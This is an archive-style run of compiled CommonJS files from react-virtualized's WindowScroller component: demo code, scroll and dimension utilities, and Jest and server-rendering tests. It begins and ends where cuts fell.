          return _regenerator["default"].awrap(page.$eval('#wrapper', function (el) {
            el.style.width = '500px';
            el.style.height = '700px';
          }));

        case 12:
          _context4.next = 14;
          return _regenerator["default"].awrap(delay(100));

        case 14:
          _context4.next = 16;
          return _regenerator["default"].awrap(page.close());

        case 16:
          expect(resizeFn.mock.calls).toEqual([[{
            width: 1000,
            height: 800
          }], [{
            width: 500,
            height: 700
          }]]);

        case 17:
        case "end":
          return _context4.stop();
      }
    }
  });
});commonjs/WindowScroller/WindowScroller.example.js000064400000020606151677406000016325 0ustar00"use strict";

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports["default"] = void 0;

var _classCallCheck2 = _interopRequireDefault(require("@babel/runtime/helpers/classCallCheck"));

var _createClass2 = _interopRequireDefault(require("@babel/runtime/helpers/createClass"));

var _possibleConstructorReturn2 = _interopRequireDefault(require("@babel/runtime/helpers/possibleConstructorReturn"));

var _getPrototypeOf3 = _interopRequireDefault(require("@babel/runtime/helpers/getPrototypeOf"));

var _assertThisInitialized2 = _interopRequireDefault(require("@babel/runtime/helpers/assertThisInitialized"));

var _inherits2 = _interopRequireDefault(require("@babel/runtime/helpers/inherits"));

var _defineProperty2 = _interopRequireDefault(require("@babel/runtime/helpers/defineProperty"));

var _clsx2 = _interopRequireDefault(require("clsx"));

var _immutable = _interopRequireDefault(require("immutable"));

var _propTypes = _interopRequireDefault(require("prop-types"));

var React = _interopRequireWildcard(require("react"));

var _ContentBox = require("../demo/ContentBox");

var _LabeledInput = require("../demo/LabeledInput");

var _WindowScroller = _interopRequireDefault(require("./WindowScroller"));

var _List = _interopRequireDefault(require("../List"));

var _AutoSizer = _interopRequireDefault(require("../AutoSizer"));

var _WindowScrollerExample = _interopRequireDefault(require("./WindowScroller.example.css"));

var _class, _temp;

var WindowScrollerExample = (_temp = _class =
/*#__PURE__*/
function (_React$PureComponent) {
  (0, _inherits2["default"])(WindowScrollerExample, _React$PureComponent);

  function WindowScrollerExample() {
    var _getPrototypeOf2;

    var _this;

    (0, _classCallCheck2["default"])(this, WindowScrollerExample);

    for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
      args[_key] = arguments[_key];
    }

    _this = (0, _possibleConstructorReturn2["default"])(this, (_getPrototypeOf2 = (0, _getPrototypeOf3["default"])(WindowScrollerExample)).call.apply(_getPrototypeOf2, [this].concat(args)));
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "state", {
      scrollToIndex: -1,
      showHeaderText: true
    });
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_windowScroller", void 0);
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_hideHeader", function () {
      var showHeaderText = _this.state.showHeaderText;

      _this.setState({
        showHeaderText: !showHeaderText
      }, function () {
        if (_this._windowScroller) {
          _this._windowScroller.updatePosition();
        }
      });
    });
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_rowRenderer", function (_ref) {
      var _clsx;

      var index = _ref.index,
          isScrolling = _ref.isScrolling,
          isVisible = _ref.isVisible,
          key = _ref.key,
          style = _ref.style;
      var list = _this.context.list;
      var row = list.get(index);
      var className = (0, _clsx2["default"])(_WindowScrollerExample["default"].row, (_clsx = {}, (0, _defineProperty2["default"])(_clsx, _WindowScrollerExample["default"].rowScrolling, isScrolling), (0, _defineProperty2["default"])(_clsx, "isVisible", isVisible), _clsx));
      return React.createElement("div", {
        key: key,
        className: className,
        style: style
      }, row.name);
    });
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_setRef", function (windowScroller) {
      _this._windowScroller = windowScroller;
    });
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_onCheckboxChange", function (event) {
      _this.context.setScrollingCustomElement(event.target.checked);
    });
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_onScrollToRowChange", function (event) {
      var list = _this.context.list;
      var scrollToIndex = Math.min(list.size - 1, parseInt(event.target.value, 10));

      if (isNaN(scrollToIndex)) {
        scrollToIndex = undefined;
      }

      setTimeout(function () {
        _this.setState({
          scrollToIndex: scrollToIndex
        });
      }, 0);
    });
    return _this;
  }

  (0, _createClass2["default"])(WindowScrollerExample, [{
    key: "render",
    value: function render() {
      var _this2 = this;

      var _this$context = this.context,
          customElement = _this$context.customElement,
          isScrollingCustomElement = _this$context.isScrollingCustomElement,
          list = _this$context.list;
      var _this$state = this.state,
          scrollToIndex = _this$state.scrollToIndex,
          showHeaderText = _this$state.showHeaderText;
      return React.createElement(_ContentBox.ContentBox, null, React.createElement(_ContentBox.ContentBoxHeader, {
        text: "WindowScroller",
        sourceLink: "https://github.com/bvaughn/react-virtualized/blob/master/source/WindowScroller/WindowScroller.example.js",
        docsLink: "https://github.com/bvaughn/react-virtualized/blob/master/docs/WindowScroller.md"
      }), showHeaderText && React.createElement(_ContentBox.ContentBoxParagraph, null, "This component decorates ", React.createElement("code", null, "List"), ", ", React.createElement("code", null, "Table"), ", or any other component and manages the window scroll to scroll through the list"), showHeaderText && React.createElement(_ContentBox.ContentBoxParagraph, null, React.createElement("button", {
        onClick: this._hideHeader
      }, "Hide header text")), React.createElement(_ContentBox.ContentBoxParagraph, null, React.createElement("label", {
        className: _WindowScrollerExample["default"].checkboxLabel
      }, React.createElement("input", {
        "aria-label": "Use custom element for scrolling",
        className: _WindowScrollerExample["default"].checkbox,
        type: "checkbox",
        checked: isScrollingCustomElement,
        onChange: this._onCheckboxChange
      }), "Use custom element for scrolling")), React.createElement(_LabeledInput.InputRow, null, React.createElement(_LabeledInput.LabeledInput, {
        label: "Scroll to",
        name: "onScrollToRow",
        placeholder: "Index...",
        onChange: this._onScrollToRowChange,
        value: scrollToIndex || ''
      })), React.createElement(_WindowScroller["default"], {
        ref: this._setRef,
        scrollElement: isScrollingCustomElement ? customElement : window
      }, function (_ref2) {
        var height = _ref2.height,
            isScrolling = _ref2.isScrolling,
            registerChild = _ref2.registerChild,
            onChildScroll = _ref2.onChildScroll,
            scrollTop = _ref2.scrollTop;
        return React.createElement("div", {
          className: _WindowScrollerExample["default"].WindowScrollerWrapper
        }, React.createElement(_AutoSizer["default"], {
          disableHeight: true
        }, function (_ref3) {
          var width = _ref3.width;
          return React.createElement("div", {
            ref: registerChild
          }, React.createElement(_List["default"], {
            ref: function ref(el) {
              window.listEl = el;
            },
            autoHeight: true,
            className: _WindowScrollerExample["default"].List,
            height: height,
            isScrolling: isScrolling,
            onScroll: onChildScroll,
            overscanRowCount: 2,
            rowCount: list.size,
            rowHeight: 30,
            rowRenderer: _this2._rowRenderer,
            scrollToIndex: scrollToIndex,
            scrollTop: scrollTop,
            width: width
          }));
        }));
      }));
    }
  }]);
  return WindowScrollerExample;
}(React.PureComponent), (0, _defineProperty2["default"])(_class, "propTypes", process.env.NODE_ENV === 'production' ? null : {}), _temp);
exports["default"] = WindowScrollerExample;
(0, _defineProperty2["default"])(WindowScrollerExample, "contextTypes", {
  customElement: _propTypes["default"].any,
  isScrollingCustomElement: _propTypes["default"].bool.isRequired,
  list: _propTypes["default"].instanceOf(_immutable["default"].List).isRequired,
  setScrollingCustomElement: _propTypes["default"].func
});commonjs/WindowScroller/utils/dimensions.js000064400000005305151677406000015225 0ustar00"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.getDimensions = getDimensions;
exports.getPositionOffset = getPositionOffset;
exports.getScrollOffset = getScrollOffset;

/**
 * Gets the dimensions of the element, accounting for API differences between
 * `window` and other DOM elements.
 */
// TODO Move this into WindowScroller and import from there
var isWindow = function isWindow(element) {
  return element === window;
};

var getBoundingBox = function getBoundingBox(element) {
  return element.getBoundingClientRect();
};

function getDimensions(scrollElement, props) {
  if (!scrollElement) {
    return {
      height: props.serverHeight,
      width: props.serverWidth
    };
  } else if (isWindow(scrollElement)) {
    var _window = window,
        innerHeight = _window.innerHeight,
        innerWidth = _window.innerWidth;
    return {
      height: typeof innerHeight === 'number' ? innerHeight : 0,
      width: typeof innerWidth === 'number' ? innerWidth : 0
    };
  } else {
    return getBoundingBox(scrollElement);
  }
}
/**
 * Gets the vertical and horizontal position of an element within its scroll container.
 * Elements that have been “scrolled past” return negative values.
 * Handles edge-case where a user is navigating back (history) from an already-scrolled page.
 * In this case the body’s top or left position will be a negative number and this element’s top or left will be increased (by that amount).
 */


function getPositionOffset(element, container) {
  if (isWindow(container) && document.documentElement) {
    var containerElement = document.documentElement;
    var elementRect = getBoundingBox(element);
    var containerRect = getBoundingBox(containerElement);
    return {
      top: elementRect.top - containerRect.top,
      left: elementRect.left - containerRect.left
    };
  } else {
    var scrollOffset = getScrollOffset(container);

    var _elementRect = getBoundingBox(element);

    var _containerRect = getBoundingBox(container);

    return {
      top: _elementRect.top + scrollOffset.top - _containerRect.top,
      left: _elementRect.left + scrollOffset.left - _containerRect.left
    };
  }
}
/**
 * Gets the vertical and horizontal scroll amount of the element, accounting for IE compatibility
 * and API differences between `window` and other DOM elements.
 */


function getScrollOffset(element) {
  if (isWindow(element) && document.documentElement) {
    return {
      top: 'scrollY' in window ? window.scrollY : document.documentElement.scrollTop,
      left: 'scrollX' in window ? window.scrollX : document.documentElement.scrollLeft
    };
  } else {
    return {
      top: element.scrollTop,
      left: element.scrollLeft
    };
  }
}commonjs/WindowScroller/utils/onScroll.js000064400000005040151677406000014644 0ustar00"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.registerScrollListener = registerScrollListener;
exports.unregisterScrollListener = unregisterScrollListener;

var _requestAnimationTimeout = require("../../utils/requestAnimationTimeout");

var _WindowScroller = require("../WindowScroller.js");

var mountedInstances = [];
var originalBodyPointerEvents = null;
var disablePointerEventsTimeoutId = null;

function enablePointerEventsIfDisabled() {
  if (disablePointerEventsTimeoutId) {
    disablePointerEventsTimeoutId = null;

    if (document.body && originalBodyPointerEvents != null) {
      document.body.style.pointerEvents = originalBodyPointerEvents;
    }

    originalBodyPointerEvents = null;
  }
}

function enablePointerEventsAfterDelayCallback() {
  enablePointerEventsIfDisabled();
  mountedInstances.forEach(function (instance) {
    return instance.__resetIsScrolling();
  });
}

function enablePointerEventsAfterDelay() {
  if (disablePointerEventsTimeoutId) {
    (0, _requestAnimationTimeout.cancelAnimationTimeout)(disablePointerEventsTimeoutId);
  }

  var maximumTimeout = 0;
  mountedInstances.forEach(function (instance) {
    maximumTimeout = Math.max(maximumTimeout, instance.props.scrollingResetTimeInterval);
  });
  disablePointerEventsTimeoutId = (0, _requestAnimationTimeout.requestAnimationTimeout)(enablePointerEventsAfterDelayCallback, maximumTimeout);
}

function onScrollWindow(event) {
  if (event.currentTarget === window && originalBodyPointerEvents == null && document.body) {
    originalBodyPointerEvents = document.body.style.pointerEvents;
    document.body.style.pointerEvents = 'none';
  }

  enablePointerEventsAfterDelay();
  mountedInstances.forEach(function (instance) {
    if (instance.props.scrollElement === event.currentTarget) {
      instance.__handleWindowScrollEvent();
    }
  });
}

function registerScrollListener(component, element) {
  if (!mountedInstances.some(function (instance) {
    return instance.props.scrollElement === element;
  })) {
    element.addEventListener('scroll', onScrollWindow);
  }

  mountedInstances.push(component);
}

function unregisterScrollListener(component, element) {
  mountedInstances = mountedInstances.filter(function (instance) {
    return instance !== component;
  });

  if (!mountedInstances.length) {
    element.removeEventListener('scroll', onScrollWindow);

    if (disablePointerEventsTimeoutId) {
      (0, _requestAnimationTimeout.cancelAnimationTimeout)(disablePointerEventsTimeoutId);
      enablePointerEventsIfDisabled();
    }
  }
}commonjs/WindowScroller/index.js000064400000001211151677406000013014 0ustar00"use strict";

var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");

Object.defineProperty(exports, "__esModule", {
  value: true
});
Object.defineProperty(exports, "WindowScroller", {
  enumerable: true,
  get: function get() {
    return _WindowScroller["default"];
  }
});
Object.defineProperty(exports, "IS_SCROLLING_TIMEOUT", {
  enumerable: true,
  get: function get() {
    return _WindowScroller.IS_SCROLLING_TIMEOUT;
  }
});
exports["default"] = void 0;

var _WindowScroller = _interopRequireWildcard(require("./WindowScroller"));

var _default = _WindowScroller["default"];
exports["default"] = _default;commonjs/WindowScroller/WindowScroller.jest.js000064400000046047151677406000015646 0ustar00"use strict";

var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

var _regenerator = _interopRequireDefault(require("@babel/runtime/regenerator"));

var _objectWithoutProperties2 = _interopRequireDefault(require("@babel/runtime/helpers/objectWithoutProperties"));

var React = _interopRequireWildcard(require("react"));

var _reactDom = require("react-dom");

var _TestUtils = require("../TestUtils");

var _WindowScroller = _interopRequireWildcard(require("./WindowScroller"));

function mockGetBoundingClientRectForHeader(_ref) {
  var _ref$documentOffset = _ref.documentOffset,
      documentOffset = _ref$documentOffset === void 0 ? 0 : _ref$documentOffset,
      height = _ref.height,
      width = _ref.width;
  // Mock the WindowScroller element and window separately
  // The only way to mock the former (before its created) is globally
  Element.prototype.getBoundingClientRect = jest.fn(function () {
    return {
      top: height,
      left: width
    };
  });
  document.documentElement.getBoundingClientRect = jest.fn(function () {
    return {
      top: documentOffset,
      left: documentOffset
    };
  });
}

function getMarkup() {
  var _ref2 = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {},
      headerElements = _ref2.headerElements,
      documentOffset = _ref2.documentOffset,
      renderFn = _ref2.renderFn,
      props = (0, _objectWithoutProperties2["default"])(_ref2, ["headerElements", "documentOffset", "renderFn"]);

  var windowScroller = React.createElement(_WindowScroller["default"], props, function (params) {
    return React.createElement("div", null, renderFn && renderFn(params));
  }); // JSDome doesn't implement a working getBoundingClientRect()
  // But WindowScroller requires it

  mockGetBoundingClientRectForHeader({
    documentOffset: documentOffset,
    height: headerElements ? headerElements.props.style.height : 0,
    width: headerElements ? headerElements.props.style.width : 0
  });

  if (headerElements) {
    return React.createElement("div", null, headerElements, windowScroller);
  } else {
    return windowScroller;
  }
}

function simulateWindowScroll(_ref3) {
  var _ref3$scrollX = _ref3.scrollX,
      scrollX = _ref3$scrollX === void 0 ? 0 : _ref3$scrollX,
      _ref3$scrollY = _ref3.scrollY,
      scrollY = _ref3$scrollY === void 0 ? 0 : _ref3$scrollY;
  document.body.style.height = '10000px';
  window.scrollX = scrollX;
  window.scrollY = scrollY;
  document.dispatchEvent(new window.Event('scroll', {
    bubbles: true
  }));
  document.body.style.height = '';
}

function simulateWindowResize(_ref4) {
  var _ref4$height = _ref4.height,
      height = _ref4$height === void 0 ? 0 : _ref4$height,
      _ref4$width = _ref4.width,
      width = _ref4$width === void 0 ? 0 : _ref4$width;
  window.innerHeight = height;
  window.innerWidth = width;
  document.dispatchEvent(new window.Event('resize', {
    bubbles: true
  }));
}

describe('WindowScroller', function () {
  // Set default window height and scroll position between tests
  beforeEach(function () {
    window.scrollY = 0;
    window.scrollX = 0;
    window.innerHeight = 500;
    window.innerWidth = 500;
  }); // Starts updating scrollTop only when the top position is reached

  it('should have correct top and left properties to be defined on :_positionFromTop and :_positionFromLeft', function () {
    var component = (0, _TestUtils.render)(getMarkup());
    var rendered = (0, _reactDom.findDOMNode)(component);

    var _rendered$getBounding = rendered.getBoundingClientRect(),
        top = _rendered$getBounding.top,
        left = _rendered$getBounding.left;

    expect(component._positionFromTop).toEqual(top);
    expect(component._positionFromLeft).toEqual(left);
  });
  it('should allow passing child element with registerChild of children function param', function () {
    var scrollElement = document.createElement('div');
    scrollElement.scrollTop = 100;
    scrollElement.scrollLeft = 150;

    scrollElement.getBoundingClientRect = function () {
      return {
        top: 200,
        left: 250
      };
    };

    var child = document.createElement('div');

    child.getBoundingClientRect = function () {
      return {
        top: 300,
        left: 350
      };
    };

    var renderFn = jest.fn();
    var component = (0, _TestUtils.render)(getMarkup({
      scrollElement: scrollElement,
      renderFn: renderFn
    }));
    renderFn.mock.calls[0][0].registerChild(child);
    expect(component._positionFromTop).toEqual(300 + 100 - 200);
    expect(component._positionFromLeft).toEqual(350 + 150 - 250);
  });
  it('should warn on passing non-element or not null', function () {
    var warnFn = jest.spyOn(console, 'warn');
    var renderFn = jest.fn();
    (0, _TestUtils.render)(getMarkup({
      renderFn: renderFn
    }));
    renderFn.mock.calls[0][0].registerChild(1);
    renderFn.mock.calls[0][0].registerChild(document.createElement('div'));
    renderFn.mock.calls[0][0].registerChild(null);
    expect(warnFn).toHaveBeenCalledTimes(1);
    warnFn.mockRestore();
  }); // Test edge-case reported in bvaughn/react-virtualized/pull/346

  it('should have correct top and left properties to be defined on :_positionFromTop and :_positionFromLeft if documentElement is scrolled', function () {
    _TestUtils.render.unmount(); // Simulate scrolled documentElement


    var component = (0, _TestUtils.render)(getMarkup({
      documentOffset: -100
    }));
    var rendered = (0, _reactDom.findDOMNode)(component);

    var _rendered$getBounding2 = rendered.getBoundingClientRect(),
        top = _rendered$getBounding2.top,
        left = _rendered$getBounding2.left;

    expect(component._positionFromTop).toEqual(top + 100);
    expect(component._positionFromLeft).toEqual(left + 100); // Reset override

    delete document.documentElement.getBoundingClientRect;
  });
  it('inherits the window height and passes it to child component', function () {
    var renderFn = jest.fn();
    var component = (0, _TestUtils.render)(getMarkup({
      renderFn: renderFn
    }));
    expect(component.state.height).toEqual(window.innerHeight);
    expect(component.state.height).toEqual(500);
    expect(renderFn).lastCalledWith(expect.objectContaining({
      height: 500
    }));
  });
  it('should restore pointerEvents on body after IS_SCROLLING_TIMEOUT', function _callee() {
    return _regenerator["default"].async(function _callee$(_context) {
      while (1) {
        switch (_context.prev = _context.next) {
          case 0:
            (0, _TestUtils.render)(getMarkup());
            document.body.style.pointerEvents = 'all';
            simulateWindowScroll({
              scrollY: 5000
            });
            expect(document.body.style.pointerEvents).toEqual('none');
            _context.next = 6;
            return _regenerator["default"].awrap(new Promise(function (resolve) {
              return setTimeout(resolve, _WindowScroller.IS_SCROLLING_TIMEOUT + 100);
            }));

          case 6:
            expect(document.body.style.pointerEvents).toEqual('all');

          case 7:
          case "end":
            return _context.stop();
        }
      }
    });
  });
  it('should restore pointerEvents on body after unmount', function () {
    (0, _TestUtils.render)(getMarkup());
    document.body.style.pointerEvents = 'all';
    simulateWindowScroll({
      scrollY: 5000
    });
    expect(document.body.style.pointerEvents).toEqual('none');

    _TestUtils.render.unmount();

    expect(document.body.style.pointerEvents).toEqual('all');
  });
  describe('onScroll', function () {
    it('should trigger callback when window scrolls', function _callee2() {
      var onScroll;
      return _regenerator["default"].async(function _callee2$(_context2) {
        while (1) {
          switch (_context2.prev = _context2.next) {
            case 0:
              onScroll = jest.fn();
              (0, _TestUtils.render)(getMarkup({
                onScroll: onScroll
              }));
              simulateWindowScroll({
                scrollY: 5000
              }); // Allow scrolling timeout to complete so that the component computes state

              _context2.next = 5;
              return _regenerator["default"].awrap(new Promise(function (resolve) {
                return setTimeout(resolve, 150);
              }));

            case 5:
              expect(onScroll).toHaveBeenCalledWith({
                scrollLeft: 0,
                scrollTop: 5000
              });
              simulateWindowScroll({
                scrollX: 2500,
                scrollY: 5000
              }); // Allow scrolling timeout to complete so that the component computes state

              _context2.next = 9;
              return _regenerator["default"].awrap(new Promise(function (resolve) {
                return setTimeout(resolve, 150);
              }));

            case 9:
              expect(onScroll).toHaveBeenCalledWith({
                scrollLeft: 2500,
                scrollTop: 5000
              });

            case 10:
            case "end":
              return _context2.stop();
          }
        }
      });
    });
    it('should update :scrollTop when window is scrolled', function _callee3() {
      var renderFn, component, componentScrollTop;
      return _regenerator["default"].async(function _callee3$(_context3) {
        while (1) {
          switch (_context3.prev = _context3.next) {
            case 0:
              renderFn = jest.fn();
              component = (0, _TestUtils.render)(getMarkup({
                renderFn: renderFn
              })); // Initial load of the component should have 0 scrollTop

              expect(renderFn).lastCalledWith(expect.objectContaining({
                scrollTop: 0
              }));
              simulateWindowScroll({
                scrollY: 5000
              }); // Allow scrolling timeout to complete so that the component computes state

              _context3.next = 6;
              return _regenerator["default"].awrap(new Promise(function (resolve) {
                return setTimeout(resolve, 150);
              }));

            case 6:
              componentScrollTop = window.scrollY - component._positionFromTop;
              expect(component.state.scrollTop).toEqual(componentScrollTop);
              expect(renderFn).lastCalledWith(expect.objectContaining({
                scrollTop: componentScrollTop
              }));

            case 9:
            case "end":
              return _context3.stop();
          }
        }
      });
    });
    it('should specify :isScrolling when scrolling and reset after scrolling', function _callee4() {
      var renderFn;
      return _regenerator["default"].async(function _callee4$(_context4) {
        while (1) {
          switch (_context4.prev = _context4.next) {
            case 0:
              renderFn = jest.fn();
              (0, _TestUtils.render)(getMarkup({
                renderFn: renderFn
              }));
              simulateWindowScroll({
                scrollY: 5000
              });
              expect(renderFn).lastCalledWith(expect.objectContaining({
                isScrolling: true
              }));
              _context4.next = 6;
              return _regenerator["default"].awrap(new Promise(function (resolve) {
                return setTimeout(resolve, 250);
              }));

            case 6:
              expect(renderFn).lastCalledWith(expect.objectContaining({
                isScrolling: false
              }));

            case 7:
            case "end":
              return _context4.stop();
          }
        }
      });
    });
    it('should support a custom :scrollingResetTimeInterval prop', function _callee5() {
      var renderFn;
      return _regenerator["default"].async(function _callee5$(_context5) {
        while (1) {
          switch (_context5.prev = _context5.next) {
            case 0:
              renderFn = jest.fn();
              (0, _TestUtils.render)(getMarkup({
                scrollingResetTimeInterval: 500,
                renderFn: renderFn
              }));
              expect(renderFn).lastCalledWith(expect.objectContaining({
                isScrolling: false
              }));
              simulateWindowScroll({
                scrollY: 5000
              });
              expect(renderFn).lastCalledWith(expect.objectContaining({
                isScrolling: true
              }));
              _context5.next = 7;
              return _regenerator["default"].awrap(new Promise(function (resolve) {
                return setTimeout(resolve, 100);
              }));

            case 7:
              expect(renderFn).lastCalledWith(expect.objectContaining({
                isScrolling: true
              }));
              _context5.next = 10;
              return _regenerator["default"].awrap(new Promise(function (resolve) {
                return setTimeout(resolve, 100);
              }));

            case 10:
              expect(renderFn).lastCalledWith(expect.objectContaining({
                isScrolling: true
              }));
              _context5.next = 13;
              return _regenerator["default"].awrap(new Promise(function (resolve) {
                return setTimeout(resolve, 400);
              }));

            case 13:
              expect(renderFn).lastCalledWith(expect.objectContaining({
                isScrolling: false
              }));

            case 14:
            case "end":
              return _context5.stop();
          }
        }
      });
    });
  });
  describe('onResize', function () {
    it('should trigger callback on init and when window resizes', function () {
      var resizeFn = jest.fn();
      (0, _TestUtils.render)(getMarkup({
        onResize: resizeFn
      }));
      simulateWindowResize({
        height: 1000,
        width: 1024
      });
      expect(resizeFn).toHaveBeenCalledTimes(1);
      expect(resizeFn).lastCalledWith({
        height: 1000,
        width: 1024
      });
    });
    it('should update height when window resizes', function () {
      var renderFn = jest.fn();
      var component = (0, _TestUtils.render)(getMarkup({
        renderFn: renderFn
      })); // Initial load of the component should have the same window height = 500

      expect(component.state.height).toEqual(window.innerHeight);
      expect(component.state.height).toEqual(500);
      expect(renderFn).lastCalledWith(expect.objectContaining({
        height: 500
      }));
      simulateWindowResize({
        height: 1000
      });
      expect(component.state.height).toEqual(window.innerHeight);
      expect(component.state.height).toEqual(1000);
      expect(renderFn).lastCalledWith(expect.objectContaining({
        height: 1000
      }));
    });
  });
  describe('updatePosition', function () {
    it('should calculate the initial offset from the top of the page when mounted', function () {
      var windowScroller;
      (0, _TestUtils.render)(getMarkup({
        headerElements: React.createElement("div", {
          style: {
            height: 100
          }
        }),
        ref: function ref(_ref5) {
          windowScroller = _ref5;
        }
      }));
      expect(windowScroller._positionFromTop).toBe(100);
    });
    it('should recalculate the offset from the top when the window resizes', function () {
      var windowScroller;
      (0, _TestUtils.render)(getMarkup({
        headerElements: React.createElement("div", {
          id: "header",
          style: {
            height: 100,
            width: 150
          }
        }),
        ref: function ref(_ref6) {
          windowScroller = _ref6;
        }
      }));
      expect(windowScroller._positionFromTop).toBe(100);
      expect(windowScroller._positionFromLeft).toBe(150);
      mockGetBoundingClientRectForHeader({
        height: 200,
        width: 300
      });
      expect(windowScroller._positionFromTop).toBe(100);
      expect(windowScroller._positionFromLeft).toBe(150);
      simulateWindowResize({
        height: 1000,
        width: 1000
      });
      expect(windowScroller._positionFromTop).toBe(200);
      expect(windowScroller._positionFromLeft).toBe(300);
    });
    it('should recalculate the offset from the top if called externally', function () {
      var windowScroller;
      (0, _TestUtils.render)(getMarkup({
        headerElements: React.createElement("div", {
          id: "header",
          style: {
            height: 100,
            width: 150
          }
        }),
        ref: function ref(_ref7) {
          windowScroller = _ref7;
        }
      }));
      expect(windowScroller._positionFromTop).toBe(100);
      expect(windowScroller._positionFromLeft).toBe(150);
      mockGetBoundingClientRectForHeader({
        height: 200,
        width: 300
      });
      windowScroller.updatePosition();
      expect(windowScroller._positionFromTop).toBe(200);
      expect(windowScroller._positionFromLeft).toBe(300);
    });
  });
  describe('when child scrolls', function () {
    var originalScrollTo;
    beforeEach(function () {
      originalScrollTo = window.scrollTo;

      window.scrollTo = function (scrollX, scrollY) {
        return simulateWindowScroll({
          scrollX: scrollX,
          scrollY: scrollY
        });
      };
    });
    afterEach(function () {
      window.scrollTo = originalScrollTo;

      _TestUtils.render.unmount();
    });
    it('should scroll the scrollElement (when it is window) the desired amount', function () {
      var renderFn = jest.fn();
      var windowScroller;
      (0, _TestUtils.render)(getMarkup({
        ref: function ref(_ref8) {
          windowScroller = _ref8;
        },
        renderFn: renderFn
      }));
      renderFn.mock.calls[0][0].onChildScroll({
        scrollTop: 200
      });
      expect(window.scrollY).toEqual(200 + windowScroller._positionFromTop);
    });
    it('should not scroll the scrollElement if trying to scroll to where we already are', function () {
      var renderFn = jest.fn();
      (0, _TestUtils.render)(getMarkup({
        renderFn: renderFn
      }));
      simulateWindowScroll({
        scrollY: 200
      });
      window.scrollTo = jest.fn();
      renderFn.mock.calls[0][0].onChildScroll({
        scrollTop: 200
      });
      expect(window.scrollTo).not.toHaveBeenCalled();
    });
    it('should scroll the scrollElement (when it is an element) the desired amount', function () {
      var windowScroller;
      var renderFn = jest.fn();
      var divEl = document.createElement('div');
      (0, _TestUtils.render)(getMarkup({
        ref: function ref(_ref9) {
          windowScroller = _ref9;
        },
        renderFn: renderFn,
        scrollElement: divEl
      }));
      renderFn.mock.calls[0][0].onChildScroll({
        scrollTop: 200
      });
      expect(divEl.scrollTop).toEqual(200 + windowScroller._positionFromTop);
    });
    it('should update own scrollTop', function () {
      var renderFn = jest.fn();
      (0, _TestUtils.render)(getMarkup({
        renderFn: renderFn
      }));
      renderFn.mock.calls[0][0].onChildScroll({
        scrollTop: 200
      });
      expect(renderFn).lastCalledWith(expect.objectContaining({
        scrollTop: 200
      }));
    });
  });
});commonjs/WindowScroller/WindowScroller.ssr.js000064400000001646151677406000015504 0ustar00"use strict";

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");

var React = _interopRequireWildcard(require("react"));

var ReactDOMServer = _interopRequireWildcard(require("react-dom/server"));

var _WindowScroller = _interopRequireDefault(require("./WindowScroller"));

/**
 * @jest-environment node
 */
test('should render content with default widths and heights initially', function () {
  var rendered = ReactDOMServer.renderToString(React.createElement(_WindowScroller["default"], {
    serverHeight: 100,
    serverWidth: 200
  }, function (_ref) {
    var height = _ref.height,
        width = _ref.width;
    return React.createElement("div", null, "height:".concat(height, ";width:").concat(width));
  }));
  expect(rendered).toContain('height:100');
  expect(rendered).toContain('width:200');
});commonjs/WindowScroller/WindowScroller.js000064400000026737151677406000014706 0ustar00"use strict";

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports["default"] = exports.IS_SCROLLING_TIMEOUT = void 0;

var _classCallCheck2 = _interopRequireDefault(require("@babel/runtime/helpers/classCallCheck"));

var _createClass2 = _interopRequireDefault(require("@babel/runtime/helpers/createClass"));

var _possibleConstructorReturn2 = _interopRequireDefault(require("@babel/runtime/helpers/possibleConstructorReturn"));

var _getPrototypeOf3 = _interopRequireDefault(require("@babel/runtime/helpers/getPrototypeOf"));

var _assertThisInitialized2 = _interopRequireDefault(require("@babel/runtime/helpers/assertThisInitialized"));

var _inherits2 = _interopRequireDefault(require("@babel/runtime/helpers/inherits"));

var _defineProperty2 = _interopRequireDefault(require("@babel/runtime/helpers/defineProperty"));

var React = _interopRequireWildcard(require("react"));

var ReactDOM = _interopRequireWildcard(require("react-dom"));

var _onScroll = require("./utils/onScroll");

var _dimensions = require("./utils/dimensions");

var _detectElementResize = _interopRequireDefault(require("../vendor/detectElementResize"));

var _propTypes = _interopRequireDefault(require("prop-types"));

var _class, _temp;

function ownKeys(object, enumerableOnly) { var keys = Object.keys(object); if (Object.getOwnPropertySymbols) { var symbols = Object.getOwnPropertySymbols(object); if (enumerableOnly) symbols = symbols.filter(function (sym) { return Object.getOwnPropertyDescriptor(object, sym).enumerable; }); keys.push.apply(keys, symbols); } return keys; }

function _objectSpread(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; if (i % 2) { ownKeys(source, true).forEach(function (key) { (0, _defineProperty2["default"])(target, key, source[key]); }); } else if (Object.getOwnPropertyDescriptors) { Object.defineProperties(target, Object.getOwnPropertyDescriptors(source)); } else { ownKeys(source).forEach(function (key) { Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key)); }); } } return target; }

/**
 * Specifies the number of miliseconds during which to disable pointer events while a scroll is in progress.
 * This improves performance and makes scrolling smoother.
 */
var IS_SCROLLING_TIMEOUT = 150;
exports.IS_SCROLLING_TIMEOUT = IS_SCROLLING_TIMEOUT;

